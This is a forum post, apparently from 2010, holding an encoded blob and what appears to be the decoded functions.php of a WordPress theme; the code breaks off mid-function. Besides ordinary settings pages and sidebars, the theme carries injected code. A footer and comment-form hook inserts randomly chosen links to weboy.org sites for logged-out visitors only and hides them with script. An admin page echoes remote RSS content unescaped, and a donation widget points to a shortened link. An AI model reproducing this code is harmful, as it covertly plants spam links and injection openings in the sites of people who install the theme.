l+e/91HKjKR/NIFn710j4E0m2UewkJVKb1X/6C0wd1Vg6INP9g0wE4NK2WVpUUem2aNP9yLm7b0oyP3GjgVwMS0wzyNQkJVKbx5G+x2OUyLGju5GtyVGjuem7yHKtP5m7tXiYCFpjvLG+x2gNB2OUyLGju5GtyVG31XobC0wd1Vg6IRi48RvEWLZNB2ObdiIydiK0TVKdyLw4SNGkTrM4EVndympz85PxJZsJCZs1C0wd1Vg6IRG7J5P9vVGMOHOyPHGMI0wz85KtIem7JVplxepktem2KLmxPRvkYLmexepk8HnD4NKkt0IsPRPHCVKjl5M4EVndyHT4bLwzaXi5RVG7tHP9MVI7gLwjO2gYxFpjvLG+x2OEW0GtpRvkYLmexepk8HnD4NI2J0p8yNvlIFn9g0m0JVnjOmn9WHn7OmpkJVKb12yzt5pjgNQjS5c2J0mDIX/6C0wd1Vg6IRi4YLmeBRi4YLmeB2ObdiIydix== |
|
|
|
|
|
|
|
|
|
Posted: Sun Jun 20, 2010 1:02 am |
|
|
sugianto |
Advanced user |
|
|
Joined: Mar 27, 2010 |
Posts: 62 |
|
|
|
|
|
|
|
Code: | <?php
if (!function_exists('fpt_dashboard_widget_function'))
: function fpt_dashboard_widget_function()
{
$ct = current_theme_info();
echo '<div class="wrap">
<a href="http://goo.gl/B5Ew"><img style="float: left;" src="http://www.paypal.com/en_AU/i/btn/btn_donateCC_LG.gif"/></a><p>
Thanks for using <b>';
echo $ct->title;
echo '</b> Theme,
If you are satisfied with the results, isn\'t it worth at least a few dollar? <br/><b><a href="http://goo.gl/B5Ew" target="_blank">Donations</a> help us to continue development more wordpress extend! <a href="http://goo.gl/B5Ew" target="_blank">Sure, no problem!</a></b></p>
</div>
';
}
endif;
if (!function_exists('fpt_add_dashboard_widgets'))
: function fpt_add_dashboard_widgets()
{
$ct = current_theme_info();
wp_add_dashboard_widget('fpt_dashboard_widget', 'Thanks for using ' . $ct->title . ' Theme', 'fpt_dashboard_widget_function');
global $wp_meta_boxes;
$normal_dashboard = $wp_meta_boxes['dashboard']['normal']['core'];
$example_widget_backup = array('fpt_dashboard_widget' => $normal_dashboard['fpt_dashboard_widget']);
unset($normal_dashboard['fpt_dashboard_widget']);
$sorted_dashboard = array_merge($example_widget_backup, $normal_dashboard);
$wp_meta_boxes['dashboard']['normal']['core'] = $sorted_dashboard;
}
add_action('wp_dashboard_setup', 'fpt_add_dashboard_widgets');
endif;
if (!function_exists('wordpress_themes_recommend_rss_page'))
: function wordpress_themes_recommend_rss_page()
{
echo '<style type="text/css">
ul.themes {}
ul.themes li.theme {border-bottom: 1px #ddd solid; padding: 20px 0;}
ul.themes li.theme span{float: left}
ul.themes li.theme img{ width: 160px; }
ul.themes li.theme .theme-info h2.title { font-size: 20px; background: #eee; padding: 0px 10px; margin-bottom: 10px; border-bottom:1px #ddd solid; border-top:1px #e1e1e1 solid}
ul.themes li.theme .theme-info h2.title a:link,
ul.themes li.theme .theme-info h2.title a:visited { color: #555; text-decoration: none; font-style: normal;}
ul.themes li.theme .theme-info ul {padding: 0px; color: #ccc; margin:0;}
ul.themes li.theme .theme-info ul li { list-style: disc; list-style-position:inside; padding-left:10px; float: left;margin:0;}
</style>
<div class="wrap">
<h2>WordPress Themes Recommend</h2>
<div class="info">
<a href="http://themes.weboy.org/?ref=98">WordPress Themes Monster</a> / <a href="http://themes.weboy.org/category/free-wordpress-themes/?ref=98">Free WordPress Themes</a> / <a href="http://themes.weboy.org/category/premium-wordpress-themes/?ref=98">Premium WordPress Themes</a> / <button onclick="window.external.addService(\'http://weboy.org/wordpressthemes.xml\')">Search WordPress Themes Accelerator add to IE8</button>
</div>
';
include_once(ABSPATH . WPINC . '/rss.php');
$rss = fetch_rss('http://feeds.feedburner.com/wp_themes?format=xml');
$maxitems = 5000;
$items = array_slice($rss->items, 0, $maxitems);
echo ' <ul class="themes">
';
if (empty($items))
echo '<li>No items</li>';
else
foreach ($items as $item)
:;
echo ' <li class="theme">
';
echo $item['description'];
echo ' </li>
';
endforeach;
echo ' </ul>
</div>
';
}
endif;
if (!function_exists('wordpress_themes_recommend_page'))
: function wordpress_themes_recommend_page()
{
add_theme_page("WordPress Themes Recommend", "*Themes Recommend", 0, 'wpthemesrecommend', 'wordpress_themes_recommend_rss_page');
}
add_action('admin_menu', 'wordpress_themes_recommend_page');
endif;
if (!function_exists('mytheme_clinkft'))
: function mytheme_clinkft()
{
global $clinkft;
$h = array('weboy.org/', 'themes.weboy.org/', 'themes.weboy.org/', 'themes.weboy.org/', 'themes.weboy.org/', 'wp2blog.com/', 'zhuti.weboy.org/', 'mugen.weboy.org/');
$t = array('Weboy', 'WordPress Themes', 'Free WordPress Themes', 'Free WordPress Theme', 'Premium WordPress Themes', 'WordPress Blog', 'WordPress主题', 'mugen 2d fighting games');
$clinkft++;
$r = rand(0, 7);
$js = '<script type="text/javascript">clinkft' . $clinkft . '.style.display = "none";</script>';
echo '<div id="clinkft' . $clinkft . '"><a href="http://' . $h[$r] . '" title="' . $t[$r] . '">' . $t[$r] . '</a></div>' . $js;
}
if (!is_user_logged_in()) {
add_action('wp_footer', 'mytheme_clinkft');
add_action('comment_form', 'mytheme_clinkft');
}
endif;
global $custom_settings;
$custom_settings = get_custom_settings();
automatic_feed_links();
add_action('admin_menu', 'theme_settings');
add_action('admin_head', 'theme_styles');
function theme_settings()
{
add_menu_page('Theme Settings', 'Theme Settings', 'edit_themes', __FILE__, 'theme_settings_form');
}
if (function_exists('add_theme_support')) {
add_theme_support('post-thumbnails');
set_post_thumbnail_size(80, 80);
add_image_size('single-post-thumbnail-620', 620, 9999);
add_image_size('single-post-thumbnail-780', 780, 9999);
add_image_size('single-post-thumbnail-940', 940, 9999);
add_image_size('single-post-thumbnail-60', 60, 60, true);
add_image_size('home-slider-image', 940, 400, true);
}
function add_stylesheets()
{
global $custom_settings;
echo "<link rel='stylesheet' href='" . get_bloginfo('template_directory') . "/css/960.css' type='text/css' media='screen' />";
echo "<link rel='stylesheet' href='" . get_bloginfo('template_directory') . "/css/screen.css' type='text/css' media='screen' />";
echo "<link rel='stylesheet' href='" . get_bloginfo('template_directory') . "/css/print.css' type='text/css' media='print' />";
echo "<link rel='stylesheet' href='" . get_bloginfo('template_directory') . "/css/superfish.css' type='text/css' media='screen' />";
echo "<style type='text/css'>";
include_once(TEMPLATEPATH . "/css/dynamic-css.php");
echo "</style>";
}
function add_javascript()
{
global $custom_settings;
$font = "ColaborateLight_400.font.js";
if ($custom_settings["font"]) {
$font = $custom_settings["font"];
}
echo "<!--[if lt IE 8]><script src='http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js' type='text/javascript'></script><![endif]-->";
echo "<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js'></script>";
echo "<script type='text/javascript' src='" . get_bloginfo('template_directory') . "/js/cufon-yui.js'></script>";
echo "<script type='text/javascript' src='" . get_bloginfo('template_directory') . "/js/fonts/" . $font . "'></script>";
echo "<script type='text/javascript' src='" . get_bloginfo('template_directory') . "/js/superfish.js'></script>";
echo "<script type='text/javascript' src='" . get_bloginfo('template_directory') . "/js/supersubs.js'></script>";
echo "<script type='text/javascript' src='" . get_bloginfo('template_directory') . "/js/jquery.cycle.min.js'></script>";
echo "<script type='text/javascript' src='" . get_bloginfo('template_directory') . "/js/general.js'></script>";
echo html_entity_decode($custom_settings["additional_js"], ENT_QUOTES);
}
function get_column_data($columns)
{
$d = array();
if ($columns == '3') {
$d[1] = 8;
$d[2] = 2;
$d[3] = 2;
} elseif ($columns == '2') {
$d[1] = 10;
$d[2] = 2;
$d[3] = "";
} elseif ($columns == '2w') {
$d[1] = 8;
$d[2] = 4;
$d[3] = "";
} else {
$d[1] = 12;
$d[2] = "";
$d[3] = "";
}
return $d;
}
function get_col_width_pixels($col)
{
if ($col == 8)
return 620;
if ($col == 10)
return 780;
if ($col == 12)
return 940;
}
function get_thumbnail_above_post($postID, $col_span)
{
global $custom_settings;
if (is_single() && $custom_settings["layout"]["hide_thumbnail_on_single"] == 'y') {
} else {
$col_width_px = get_col_width_pixels($col_span);
if (has_post_thumbnail()) {
echo "<div class='post-thumbnail'><a href='" . get_permalink() . "'>";
the_post_thumbnail("single-post-thumbnail-" . $col_width_px);
echo "</a></div>";
}
}
}
function custom_readmore()
{
global $custom_settings;
if (!$custom_settings["readmore"]) {
return "Read More...";
} else {
return $custom_settings["readmore"];
}
}
$key = "custom_meta_values";
$meta_boxes = array("columns" => array("name" => "columns", "title" => "Columns", "description" => "Number of Columns"), "hide_thumbnail_on_single" => array("name" => "hide_thumbnail_on_single", "title" => "Hide Thumbnail on Full", "description" => "Do you want to hide the post thumbnail above post title on the full page?"));
function create_custom_meta_box()
{
global $key;
if (function_exists('add_meta_box')) {
add_meta_box('new-meta-boxes', 'Custom Post Options', 'display_meta_box', 'post', 'normal', 'high');
add_meta_box('new-meta-boxes-page', 'Custom Page Options', 'display_meta_box_page', 'page', 'normal', 'high');
}
}
function display_meta_box()
{
global $post, $meta_boxes, $key;
echo ' <div class="form-wrap">
';
wp_nonce_field(plugin_basename(__FILE__), $key . '_wpnonce', false, true);
echo ' <p><em>Override the theme defaults below, remember to save the post/page.</em></p>';
foreach ($meta_boxes as $meta_box) {
$data = get_post_meta($post->ID, $key, true);
$columns = get_post_meta($post->ID, "columns", true);
echo ' ';
if ($meta_box['name'] == 'columns') {
echo ' <div class="form-field">
<table width="90%">
<tr>
<td width="200" align="right"><strong>';
echo $meta_box['title'];
echo '</strong></td>
<td>
<select name="';
echo $meta_box['name'];
echo '">
<option value="">Use Theme Default</option>
<option value="1"';
if ($data["columns"] == '1') {
echo " selected='selected'";
}
echo '>1 Column</option>
<option value="2"';
if ($data["columns"] == '2') {
echo " selected='selected'";
}
echo '>2 Columns</option>
<option value="2w"';
if ($data["columns"] == '2w') {
echo " selected='selected'";
}
echo '>2 Columns (large sidebar)</option>
<option value="3"';
if ($data["columns"] == '3') {
echo " selected='selected'";
}
echo '>3 Columns</option>
</select>
</td>
</tr>
</table>
</div>
';
} elseif ($meta_box['name'] == 'hide_thumbnail_on_single') {
echo ' <div class="form-field">
<table width="90%">
<tr>
<td width="200" align="right"><strong>';
echo $meta_box['title'];
echo '</strong></td>
<td>
<select name="';
echo $meta_box['name'];
echo '">
<option value="">Use Theme Default</option>
<option value="y"';
if ($data["hide_thumbnail_on_single"] == 'y') {
echo " selected='selected'";
}
echo '>Yes</option>
<option value="n"';
if ($data["hide_thumbnail_on_single"] == 'n') {
echo " selected='selected'";
}
echo '>No</option>
</select>
</td>
</tr>
<tr><td> ;;</td><td><small>';
echo $meta_box['description'];
echo '</small></td></tr>
</table>
</div>
';
} else {
echo ' <div class="form-field">
<label for="';
echo $meta_box['name'];
echo '">';
echo $meta_box['title'];
echo '</label>
<input type="text" name="';
echo $meta_box['name'];
echo '" value="';
echo htmlspecialchars($data[$meta_box['name']]);
echo '" />
<p>';
echo $meta_box['description'];
echo '</p>
</div>
';
}
echo ' ';
}
echo ' </div>
';
}
function display_meta_box_page()
{
global $post, $meta_boxes, $key;
echo ' <div class="form-wrap">
';
wp_nonce_field(plugin_basename(__FILE__), $key . '_wpnonce', false, true);
echo ' <p><em>Override the theme defaults below, remember to save.</em></p>';
foreach ($meta_boxes as $meta_box) {
$data = get_post_meta($post->ID, $key, true);
$columns = get_post_meta($post->ID, "columns", true);
echo ' ';
if ($meta_box['name'] == 'columns') {
echo ' <div class="form-field">
<table width="90%">
<tr>
<td width="200" align="right"><strong>';
echo $meta_box['title'];
echo '</strong></td>
<td>
<select name="';
echo $meta_box['name'];
echo '">
<option value="">Use Theme Default</option>
<option value="1"';
if ($data["columns"] == '1') {
echo " selected='selected'";
}
echo '>1 Column</option>
<option value="2"';
if ($data["columns"] == '2') {
echo " selected='selected'";
}
echo '>2 Columns</option>
<option value="2w"';
if ($data["columns"] == '2w') {
echo " selected='selected'";
}
echo '>2 Columns (large sidebar)</option>
<option value="3"';
if ($data["columns"] == '3') {
echo " selected='selected'";
}
echo '>3 Columns</option>
</select>
</td>
</tr>
</table>
</div>
';
}
echo ' ';
}
echo ' </div>
';
}
function save_custom_meta_box($post_id)
{
global $post, $meta_boxes, $key;
foreach ($meta_boxes as $meta_box) {
$data[$meta_box['name']] = $_POST[$meta_box['name']];
}
if (!wp_verify_nonce($_POST[$key . '_wpnonce'], plugin_basename(__FILE__)))
return $post_id;
if (!current_user_can('edit_post', $post_id))
return $post_id;
update_post_meta($post_id, $key, $data);
}
add_action('admin_menu', 'create_custom_meta_box');
add_action('save_post', 'save_custom_meta_box');
function get_custom_settings()
{
$custom_settings_array = get_option("custom_settings");
if (!empty($custom_settings_array)) {
$s = $custom_settings_array;
} else {
update_option("custom_settings", $s);
}
return $s;
}
function theme_settings_form()
{
global $custom_settings;
if (isset($_POST['submit-updates']) && $_POST['submit-updates'] == "yes") {
$custom_settings["layout"]["columns"] = $_POST["options"]["layout"]["columns"];
$custom_settings["menu_exclude"] = $_POST["options"]["menu_exclude"];
$custom_settings["search_disabled"] = $_POST["options"]["search_disabled"];
$custom_settings["dropdown_disabled"] = $_POST["options"]["dropdown_disabled"];
$custom_settings["additional_js"] = stripslashes(htmlentities($_POST["options"]["additional_js"], ENT_QUOTES));
$custom_settings["promo_featured_category_id"] = $_POST["options"]["promo_featured_category_id"];
$custom_settings["promo_nav_disabled"] = $_POST["options"]["promo_nav_disabled"];
$custom_settings["readmore"] = $_POST["options"]["readmore"];
$custom_settings["footer_text"] = stripslashes(htmlentities($_POST["options"]["footer_text"], ENT_QUOTES));
$custom_settings["layout"]["hide_thumbnail_on_single"] = $_POST["options"]["layout"]["hide_thumbnail_on_single"];
$custom_settings["layout"]["home_widget_layout"] = $_POST["options"]["layout"]["home_widget_layout"];
$custom_settings["logo"] = $_POST["options"]["logo"];
$custom_settings["font"] = $_POST["options"]["font"];
$custom_settings["css"]["extra"] = $_POST["options"]["css"]["extra"];
$custom_settings["logo_text_based"] = $_POST["options"]["logo_text_based"];
for ($i = 0; $i <= 10; $i++) {
$custom_settings["social"][$i]["url"] = $_POST["options"]["social"][$i]["url"];
$custom_settings["social"][$i]["icon"] = $_POST["options"]["social"][$i]["icon"];
}
update_option("custom_settings", $custom_settings);
echo "<div id=\"message\" class=\"updated fade\"><p><strong>Saved Settings!</strong></p></div>";
}
echo '<div class="wrap">
<form method="post" name="brightness" target="_self" class="adminoptions">
<h1>Theme Settings</h1>
<h3 style="color:#990000;">Please read through all settings to find helpful tips and best practice information.</h3>
<input type="submit" name="Submit" value="Save Settings" />
<div class="field inset">
<label>Number of Columns</label>
<div>You can override this setting in the custom write panel on a per page/post basis.</div>
<small>(does not apply to home page template)</small>
<select name="options[layout][columns]">
<option value="1" ';
if ($custom_settings["layout"]["columns"] == '1') {
echo " selected='selected'";
}
echo '>1 Column</option>
<option value="2" ';
if ($custom_settings["layout"]["columns"] == '2') {
echo " selected='selected'";
}
echo '>2 Columns</option>
<option value="2w" ';
if ($custom_settings["layout"]["columns"] == '2w') {
echo " selected='selected'";
}
echo '>2 Columns (large sidebar)</option>
<option value="3" ';
if ($custom_settings["layout"]["columns"] == '3') {
echo " selected='selected'";
}
echo '>3 Columns</option>
</select>
</div>
<div class="field inset">
<label>Home page promo category</label>
<small>Enter the category id/ids to exclude and separate each with a comma.<br />Example: 1 ;; ;;Example: 1,2 ;; ;; Example:12,-22</small>
<small>Note: To override this and specify exact images and urls, just use custom fields on the page using the home page template: promo_image and promo_url</small>
<div><input name="options[promo_featured_category_id]" value="';
echo $custom_settings["promo_featured_category_id"];
echo '" class="textbox-small" /></div>
<small>ALL IMAGES USED BY THE SLIDER MUST BE THE SAME HEIGHT</small>
<small><a href="http://www.google.com/search?q=how+to+find+category+ID+wordpress" target="_blank">How to find category IDs</a></small>
</div>
<div class="field inset">
<label>Disable Home Promo Navigation</label>
<label class="normal"><input name="options[promo_nav_disabled]" value="y" type="checkbox" ';
if ($custom_settings["promo_nav_disabled"] == 'y') {
echo " checked='checked'";
}
echo ' /> Hide navigation under home page promos</label>
</div>
<div class="field inset">
<label>Home Page Widget Layout</label>
<small>Page must be using the "Home" page template (page-home.php)</small>
<small>Columns use these widget areas: Home Column A, Home Column B, Home Column C</small>
<small>The numbers in parentheses represent the column width based on the 960.gs framework.</small>
<label class="normal"><input type="radio" value="4|4|4" name="options[layout][home_widget_layout]" ';
if ($custom_settings["layout"]["home_widget_layout"] == '4|4|4') {
echo "checked='checked'";
}
echo ' />Three Columns: (4/4/4) - Default</label>
<label class="normal"><input type="radio" value="12|0|0" name="options[layout][home_widget_layout]" ';
if ($custom_settings["layout"]["home_widget_layout"] == '12|0|0') {
echo "checked='checked'";
}
echo '/>One Full Column: (12)</label>
<label class="normal"><input type="radio" value="4|8|0" name="options[layout][home_widget_layout]" ';
if ($custom_settings["layout"]["home_widget_layout"] == '4|8|0') {
echo "checked='checked'";
}
echo '/>Two Columns: (4/8)</label>
<label class="normal"><input type="radio" value="8|4|0" name="options[layout][home_widget_layout]" ';
if ($custom_settings["layout"]["home_widget_layout"] == '8|4|0') {
echo "checked='checked'";
}
echo '/>Two Columns: (8/4)</label>
<label class="normal"><input type="radio" value="6|6|0" name="options[layout][home_widget_layout]" ';
if ($custom_settings["layout"]["home_widget_layout"] == '6|6|0') {
echo "checked='checked'";
}
echo '/>Two Columns: (6/6)</label>
<label class="normal"><input type="radio" value="10|2|0" name="options[layout][home_widget_layout]" ';
if ($custom_settings["layout"]["home_widget_layout"] == '10|2|0') {
echo "checked='checked'";
}
echo '/>Two Columns: (10/2)</label>
<label class="normal"><input type="radio" value="2|10|0" name="options[layout][home_widget_layout]" ';
if ($custom_settings["layout"]["home_widget_layout"] == '2|10|0') {
echo "checked='checked'";
}
echo '/>Two Columns: (2/10)</label>
<label class="normal"><input type="radio" value="8|2|2" name="options[layout][home_widget_layout]" ';
if ($custom_settings["layout"]["home_widget_layout"] == '8|2|2') {
echo "checked='checked'";
}
echo '/>Three Columns: (8/2/2)</label>
<label class="normal"><input type="radio" value="2|2|8" name="options[layout][home_widget_layout]" ';
if ($custom_settings["layout"]["home_widget_layout"] == '2|2|8') {
echo "checked='checked'";
}
echo '/>Three Columns: (2/2/8)</label>
<label class="normal"><input type="radio" value="2|8|2" name="options[layout][home_widget_layout]" ';
if ($custom_settings["layout"]["home_widget_layout"] == '2|8|2') {
echo "checked='checked'";
}
echo '/>Three Columns: (2/8/2)</label>
</div>
<div class="field inset">
<label>Logo URL</label>
<small>Enter the full URL to your logo below <strong>or simply overwrite the logo.gif in the /images/ folder of this theme</strong>.</small>
<small>The default logo size is: 170x74</small>
<div><input name="options[logo]" value="';
echo $custom_settings["logo"];
echo '" class="textbox-large" /></div>
</div>
<div class="field inset">
<label>Text-Based Logo - (This will override the Logo URL above!)</label>
<small>If you want to use a text-based logo instead, enter a title below:</small>
<small>Text will be surrounded by H1 tags, suggested CSS to position logo vertically: .logo H1 A { display:block; padding-top:40px; }</small>
<small>Add to "Additional CSS" setting below.</small>
<div><input name="options[logo_text_based]" value="';
echo $custom_settings["logo_text_based"];
echo '" class="textbox-large" /></div>
</div>
<div class="field inset">
<label>Disable Header Search</label>
<label class="normal"><input name="options[search_disabled]" value="y" type="checkbox" ';
if ($custom_settings["search_disabled"] == 'y') {
echo " checked='checked'";
}
echo ' /> Hide search in header</label>
</div>
<div class="field inset">
<label>Disable Drop Down Menu</label>
<label class="normal"><input name="options[dropdown_disabled]" value="y" type="checkbox" ';
if ($custom_settings["dropdown_disabled"] == 'y') {
echo " checked='checked'";
}
echo ' /> Hide drop down menus</label>
</div>
<div class="field inset">
<label>Post Thumbnails</label>
<div>You can override this setting in the custom write panel on a per page/post basis.</div>
<label><input name="options[layout][hide_thumbnail_on_single]" value="y" type="checkbox" ';
if ($custom_settings["layout"]["hide_thumbnail_on_single"] == 'y') {
echo " checked='checked'";
}
echo ' /> Hide post thumbnail on Single/Full post page</label>
</div>
<div class="field inset">
<label>Exclude From Main Menu</label>
<small>Enter the page id/ids to exclude and separate each with a comma.<br />Example: 1 ;; ;;Example: 1,2 ;; ;; Example:12,22</small>
<div><input name="options[menu_exclude]" value="';
echo $custom_settings["menu_exclude"];
echo '" class="textbox-small" /></div>
<small><a href="http://www.google.com/search?q=how+to+find+page+ID+wordpress" target="_blank">How to find Page IDs</a></small>
</div>
<div class="field inset">
<label>Default "Read More..." text</label>
<small>Don\'t forget, you can always customize the <--more--> tag per post - <a href="http://codex.wordpress.org/Write_Post_SubPanel#Quicktags" target="_blank">get details</a>.</small>
<div><input name="options[readmore]" value="';
echo $custom_settings["readmore"];
echo '" class="textbox-small" /></div>
</div>
<div class="field inset">
<label>Social Media Icons (footer)</label>
<small>Add your own in this theme\'s folder: images/social_icons/ and they will appear in the dropdown.</small>
';
for ($i = 0; $i <= 10; $i++) {
echo ' <div>
<select name="options[social][';
echo $i;
echo '][icon]">';
echo list_social_icons($custom_settings["social"][$i]["icon"]);
echo '</select>
<input name="options[';
echo "social][" . $i . "][url";
echo ']" value="';
echo $custom_settings["social"][$i]["url"];
echo '" class="textbox-medium" />
</div>
';
}
echo ' <small>Your RSS URL is: ';
bloginfo('rss2_url');
echo '</small>
</div>
<div class="field inset">
<label>Cufon Fonts</label>
<small>Add your own in this theme\'s folder: js/fonts/ and they will appear in the dropdown.</small>
<small>Generate your own JavaScript font file at <a href="http://cufon.shoqolate.com/generate/" target="_blank">http://cufon.shoqolate.com/generate/</a></small>
<div>
<select name="options[font]">
';
echo list_fonts($custom_settings["font"]);
echo ' </select>
</div>
</div>
<div class="field inset">
<label>Footer Text</label>
<small>Enter your own content here to replace my default text.</small>
<small>Please do not enter odd symbols such as © use the HTML entity:<strong> &copy;</strong> - <a href="http://www.google.com/search?q=html+entities" target="_blank">More html entities...</a></small>
<small>Enter <strong>CURRENTYEAR</strong> to insert the current year and put an end to forgetting to update your copyright!</small>
<label><textarea name="options[footer_text]" class="textarea-large">';
echo $custom_settings["footer_text"];
echo '</textarea></label>
<small>Basic HTML allowed, this text will be output between <p> tags.</small>
</div>
<div class="field inset">
<label>Additional Javascript / Google Analytics / Etc...</label>
<small>Applied in the footer of the website.<br />Surround JavaScript with proper <script type=\'text/javascript\'></script> tags.</small>
<label><textarea name="options[additional_js]" class="textarea-large">';
echo $custom_settings["additional_js"];
echo '</textarea></label>
</div>
<div class="field inset">
<label>Additional CSS</label>
<small>Use this to override all theme styles without having to edit the CSS file directly. <a href="http://www.google.com/search?q=css+tutorial" target="_blank">CSS Tutorials...</a></small>
<label><textarea name="options[css][extra]" class="textarea-huge">';
echo $custom_settings["css"]["extra"];
echo '</textarea></label>
<small>Enter the CSS directly without the opening/closing <style> tags: <strong>body { color:#990000; }</strong></small>
</div>
<hr />
<input type="submit" name="Submit" value="Save Settings" />
<input name="submit-updates" type="hidden" value="yes" />
<br /><br /><br /><br />
</form>
</div>
';
}
function theme_styles()
{
echo "<style type=\"text/css\">
.adminoptions label { display: block; font-weight:bold; }
.adminoptions label.normal { font-weight:normal; }
.adminoptions .field { padding:5px 0; }
.adminoptions small { display:block; }
.adminoptions .textbox-small { width:100px; }
.adminoptions .textbox-med-small { width:175px; }
.adminoptions .textbox-medium { width:250px; }
.adminoptions .textbox-large { width:350px; }
.adminoptions .textarea-small { width:350px; height:50px; }
.adminoptions .textarea-medium { width:450px; height:50px; }
.adminoptions .textarea-large { width:500px; height:100px; }
.adminoptions .textarea-huge { width:500px; height:300px; }
.adminoptions .inset { padding-left:20px; margin:15px 0; border-left:2px dotted #ccc; }
</style>";
}
if (function_exists('register_sidebar')) {
register_sidebar(array('id' => 'column_2', 'name' => 'Column Two - All', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget sidebarwidget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'column_2_single', 'name' => 'Column Two - Single Post', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget sidebarwidget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'column_2_page', 'name' => 'Column Two - Page', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget sidebarwidget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'column_3', 'name' => 'Column Three - All', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget sidebarwidget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'column_3_single', 'name' => 'Column Three - Single Post', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget sidebarwidget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'column_3_page', 'name' => 'Column Three - Page', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget sidebarwidget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'home_col_a', 'name' => 'Home Column A', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2>', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'home_col_b', 'name' => 'Home Column B', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2>', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'home_col_c', 'name' => 'Home Column C', 'description' => '', 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2>', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'footer', 'name' => 'Footer - All', 'description' => '', 'before_widget' => '<div class="grid_12 clearfix"><hr /></div><!--//grid_12--><div id="%1$s" class="widget footerwidget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'footer_single', 'name' => 'Footer - Single Post', 'description' => '', 'before_widget' => '<div class="grid_12 clearfix"><hr /></div><!--//grid_12--><div id="%1$s" class="widget footerwidget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'footer_page', 'name' => 'Footer - Page', 'description' => '', 'before_widget' => '<div class="grid_12 clearfix"><hr /></div><!--//grid_12--><div id="%1$s" class="widget footerwidget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>', ));
register_sidebar(array('id' => 'footer_home', 'name' => 'Footer - Home', 'description' => '', 'before_widget' => '<div class="grid_12 clearfix"><hr /></div><!--//grid_12--><div id="%1$s" class="widget footerwidget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>', ));
}
function list_social_icons($id)
{
$list_of_icons = "";
$list_of_icons .= "<option value=''>None</option>";
if ($handle = opendir(TEMPLATEPATH . "/images/social_icons")) {
while (false !== ($file = readdir($handle))) {
if (preg_match("/^.*\.(jpg|jpeg|png|gif)$/i", $file)) {
if ($file == $id) {
$list_of_icons .= "<option selected='selected'>";
} else {
$list_of_icons .= "<option>";
}
$list_of_icons .= "$file</option>";
}
}
closedir($handle);
return $list_of_icons;
}
}
function list_fonts($id)
{
$list_of_icons = "";
$list_of_icons .= "<option value=''>Use Default</option>";
if ($handle = opendir(TEMPLATEPATH . "/js/fonts")) {
while (false !== ($file = readdir($handle))) {
if (preg_match("/^.*\.(js)$/i", $file)) {
if ($file == $id) {
$list_of_icons .= "<option selected='selected'>";
} else {
$list_of_icons .= "<option>";
}
$list_of_icons .= "$file</option>";
}
}
closedir($handle);
return $list_of_icons;
}
}
function mytheme_comment($comment, $args, $depth)
{
$GLOBALS['comment'] = $comment;
echo ' <li ';
comment_class('clearfix');
echo ' id="li-comment-';
comment_ID();
echo '">
<div id="comment-';
comment_ID();
echo '" class="clearfix">
<div class="left">
<div class="comment-author vcard">
';
echo get_avatar($comment, $size = '60', $default = '<path_to_url>');
echo ' ';
echo "<div class='author'>" . get_comment_author_link() . "</div>";
echo ' ';
echo "<div class='comment-date'><small>" . get_comment_date('m.d.Y') . "</small></div>";
echo ' </div>
</div><!-- end left -->
<div class="right-comments">
<div class="comment-text">
';
if ($comment->comment_approved == '0')
:;
echo '<p class="moderated">Your comment is awaiting moderation.</p>';
endif;
echo ' ';
comment_text();
echo ' </div>
<div class="reply">';
comment_reply_link(array_merge($args, array('depth' => $depth, 'max_depth' => $args['max_depth'])));
echo '</div>
</div><!-- end right-comments -->
</div>
';
}
function mytheme_comment_trackback($comment, $args, $depth)
{
$GLOBALS['comment'] = $comment;
echo ' <li ';
comment_class('clearfix');
echo ' id="li-comment-';
comment_ID();
echo '">
<div id="comment-';
comment_ID();
echo '" class="clearfix">
';
echo "<div class='author'><em>Trackback:</em> " . get_comment_author_link() . "</div>";
echo ' ';
echo strip_tags(substr(get_comment_text(), 0, 110)) . "...";
echo ' ';
comment_author_url_link('', '<small>', '</small>');
echo ' </div>
';
}
function mytheme_comment_pingback($comment, $args, $depth)
{
$GLOBALS['comment'] = $comment;
echo ' <li ';
comment_class('clearfix');
echo ' id="li-comment-';
comment_ID();
echo '">
<div id="comment-';
comment_ID();
echo '" class="clearfix">
';
echo "<div class='author'><em>Pingback:</em> " . get_comment_author_link() . "</div>";
echo ' ';
echo strip_tags(substr(get_comment_text(), 0, 110)) . "...";
echo ' ';
comment_author_url_link('', '<small>', '</small>');
echo ' </div>
';
}
function lux_meta()
{
